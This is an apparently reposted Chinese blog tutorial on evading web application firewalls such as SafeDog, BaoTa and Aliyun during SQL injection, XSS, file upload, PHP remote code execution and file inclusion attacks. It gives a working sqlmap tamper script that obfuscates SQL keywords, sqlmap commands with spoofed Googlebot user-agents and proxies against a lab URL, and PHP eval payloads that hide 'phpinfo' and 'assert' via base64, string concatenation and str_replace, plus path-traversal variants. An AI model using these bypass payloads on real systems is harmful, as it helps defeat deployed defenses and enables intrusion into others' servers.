WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过

目录

前言:

(一)SQL注入

0x01  sqlmap注入

修改user-agent头:

(二)文件上传

(三)XSS跨站

(四)RCE绕过waf

RCE代码:

1.输入echo 123; 并执行,成功输出

 2.但是当输入phpinfo();

 3.打开宝塔的日志

 4.可逆加解密

 5、宝塔拦截

 6、拼接绕过

7、str_replace函数替换变量中指定的字符串为空

 8、禁用assert绕过

 9、改变提交方式

(五)文件包含


前言:

        这里介绍常见的漏洞利用绕过的方法,方法有很多很多,一定要有自己的思想,就拿逻辑漏洞来说,AWVS、AppScan、Xray、Nessus、Sqlmap......这些自动化工具是扫描不出来的,加密编码绕过?算法可逆?关键字绕过?提交方法?各种测试?要学会尝试自己造轮子,本篇文章引入几种简单方式,希望打开大家思路

        之前简单总结过,感兴趣的点这里

(一)SQL注入


0x01  sqlmap注入

防cc拦截:修改user-agent头+代理(付费代理池)

修改user-agent头:

(1)加参数:--random-agent 

(2)加参数:--user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"(利用爬虫技术)

各大搜索引擎的User-Agent:https://www.jinyouxin.com/iack/p/3557371.html

(3)修改配置文件sqlmap.conf中的agent变量值

加代理:--proxy="http:tps123.kdlapi.com:15818"

绕过安全狗:自写tamper模块,参考如下waf-dog.py

绕过Aliyun:基本修改指纹即可(修改user-agent头)

绕过宝塔:匹配关键字外加/*等,我们可以通过%00进行截断.eg:%00/*!select ...*/

安全狗:参考之前 payload(现在不行了)

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH

def tamper(payload, **kwargs):
    retVal = ""

    if payload:
        payload = payload.replace("union", "%23a%0union")
        payload = payload.replace("select", "/*!44534select*/")
        payload = payload.replace("%20", "%23a%0a")
        payload = payload.replace("",  "%23a%0a")
        payload = payload.replace("database()","database%23a%0a()")
    return payload

sqlmap.py 利用

python sqlmap.py -u "http://192.168.224.130/xscj/pikachu-master/vul/sqli/sqli_str.php?name=1%22&submit=%E6%9F%A5%E8%AF%A2" --random-agent --tamper=ridog.py

(二)文件上传


更改上传后缀名的格式(很多方法,具体在文件上传的笔记,这里就不多说了)


WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第1张图片

 文件上传漏洞__Cyber的博客-CSDN博客_常见的文件上传漏洞

(三)XSS跨站


利用 XSStrike工具进行测试
此时如果对方网站开启cc防护:
1.由于是工具,需要设置一个代理
2.设置延迟参数

XSStrike参数:

-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟

(四)RCE绕过waf


RCE代码:

接收post传入的参数,并且通过eval执行,如果没执行成功则输出字符串

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第2张图片

当对方网站上存在RCE漏洞,但是开启了安全狗和宝塔时:

1.输入echo 123; 并执行,成功输出


WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第3张图片

 2.但是当输入phpinfo();


   此时,连接被重置了,此处是因为敏感字符被waf检测到了所以进行拦截

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第4张图片

 被拦截了:

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第5张图片

 3.打开宝塔的日志


        发现是被宝塔拦截了,因为post传入的参数被检测出来触发了它的过滤规则

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第6张图片

 4.可逆加解密


        此时我们想到通过base64加密解密来绕过phpinfo(); 这个关键字,先把phpinfo();用base64加密,结果为cGhwaW5mbygpOw==,然后用php中的base64解密函数base64_decode()进行解密,所以在输入框内base64_decode(‘cGhwaW5mbygpOw==’);提交即可

        当post将字符串base64_decode(‘cGhwaW5mbygpOw==’);提交后,对方后台接收到post值,并通过eval将字符串当成php代码执行,就成功对加密后的phpinfo();进行了解密还原。

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第7张图片

 5、宝塔拦截


        提交后发现又被拦截了,此时我们打开宝塔的日志看了一眼,又被匹配到了敏感参数,这次是base64_decode()(我感觉就算没有拦截的话,通过上面源码看,传入后也执行不了,会报语法错误)

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第8张图片

 6、拼接绕过


        因为waf只是拦截关键字,我们用字符串将关键字拼接起来,waf就不会识别到,并且可以执行同样的功能。
 例子:
$a='php'.'info();';assert($a);
将php和info(); 拼接起来赋值给变量a,再通过assert对执行变量a

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第9张图片

 

7、str_replace函数替换变量中指定的字符串为空


$y=str_replace('x','','pxhpxinxfo()');assert($y);

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第10张图片

 8、禁用assert绕过


        上面的方法都有用到assert来执行phpinfo(); 如果assert也被过滤了呢?此时我们也可以用拼接字符串或者str_replace拆分来绕过关键字

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第11张图片

 9、改变提交方式


当然可以通过$_REQUEST提交方式绕过

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第12张图片

 总之方法又很多,值得去思考!

​​​​​​​(五)文件包含


以下几种:..\ ..../ ..\.\等

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过_第13张图片

 

你可能感兴趣的:(渗透与攻防,安全,web安全,网络安全,安全威胁分析)